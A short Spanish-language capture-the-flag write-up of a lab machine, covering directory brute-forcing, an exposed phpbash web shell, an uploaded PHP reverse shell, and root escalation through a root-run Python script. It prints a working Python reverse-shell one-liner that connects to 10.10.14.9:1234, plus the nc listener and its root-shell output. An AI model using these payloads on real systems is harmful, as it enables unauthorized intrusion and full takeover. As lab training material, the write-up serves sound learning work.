Esta fue una maquina interensante pero estuvo muy fácil y sin MSF 🙂
Empezamos con un nmap (sparta)
Como solo había un webserver use dirbuster medium.
Starting OWASP DirBuster 1.0-RC1 Starting dir/file list based brute forcing Dir found: / - 200 Dir found: /images/ - 200 Dir found: /php/ - 200 File found: /uploads - 301 Dir found: /icons/ - 403 File found: /index.html - 200 File found: /single.html - 200 Dir found: /js/ - 200 File found: /php - 301 File found: /js/imagesloaded.pkgd.js - 200 File found: /js/jquery.js - 200 File found: /js/jquery.nicescroll.min.js - 200 File found: /js/jquery.smartmenus.min.js - 200 Dir found: /css/ - 200 File found: /js/jquery.mousewheel.min.js - 200 File found: /js/jquery.carouFredSel-6.0.0-packed.js - 200 File found: /js/jquery.touchSwipe.min.js - 200 File found: /js/jquery.easing.1.3.js - 200 File found: /php/sendMail.php - 200 File found: /js/main.js - 200 Dir found: /uploads/ - 200 File found: /css - 301 Dir found: /dev/ - 200 Dir found: /demo-images/ - 200 File found: /js/custom_google_map_style.js - 200 File found: /js/html5.js - 200 File found: /images - 301 File found: /css/carouFredSel.css - 200 File found: /css/common.css - 200 File found: /dev - 301 File found: /css/font-awesome.min.css - 200 File found: /css/sm-clean.css - 200 File found: /dev/phpbash.min.php - 200 File found: /config.php - 200 File found: /dev/phpbash.php - 200 File found: /css/clear.css - 200 File found: /js - 301
Lo más interesante es /dev/phpbashmin.php
No se ve muy bien en la foto pero lo de abajo es una terminal
Con Linenum podemos ver que podemos ser scriptmanager sin ninguna restricción.
sudo -u scriptmanager whoami
El detalle es que no era persistente, es por eso que subimos una php-reverse-shell (que se activa accediendo a ella en el url) a la carpeta de uploads.
Esta shell esta en kali y tambien en pentestmonkey
Despues de eso y el nc -nlvp (puerto)
Sudo -u scriptmanager bash
hace al usuario “persistente”
Si checas lo raro en la maquina veras que test.py puede ser modificado y es ejecutado por root.
Si copias el contenido con cat archivo > archivo2
import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.9",1234)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
Tienes una reverse shell con root 🙂
root@Kali2:~/Downloads# nc -nlvp 1234 listening on [any] 1234 ... connect to [10.10.14.9] from (UNKNOWN) [10.10.10.68] 33650 /bin/sh: 0: can't access tty; job control turned off # whoami root
Y listo 🙂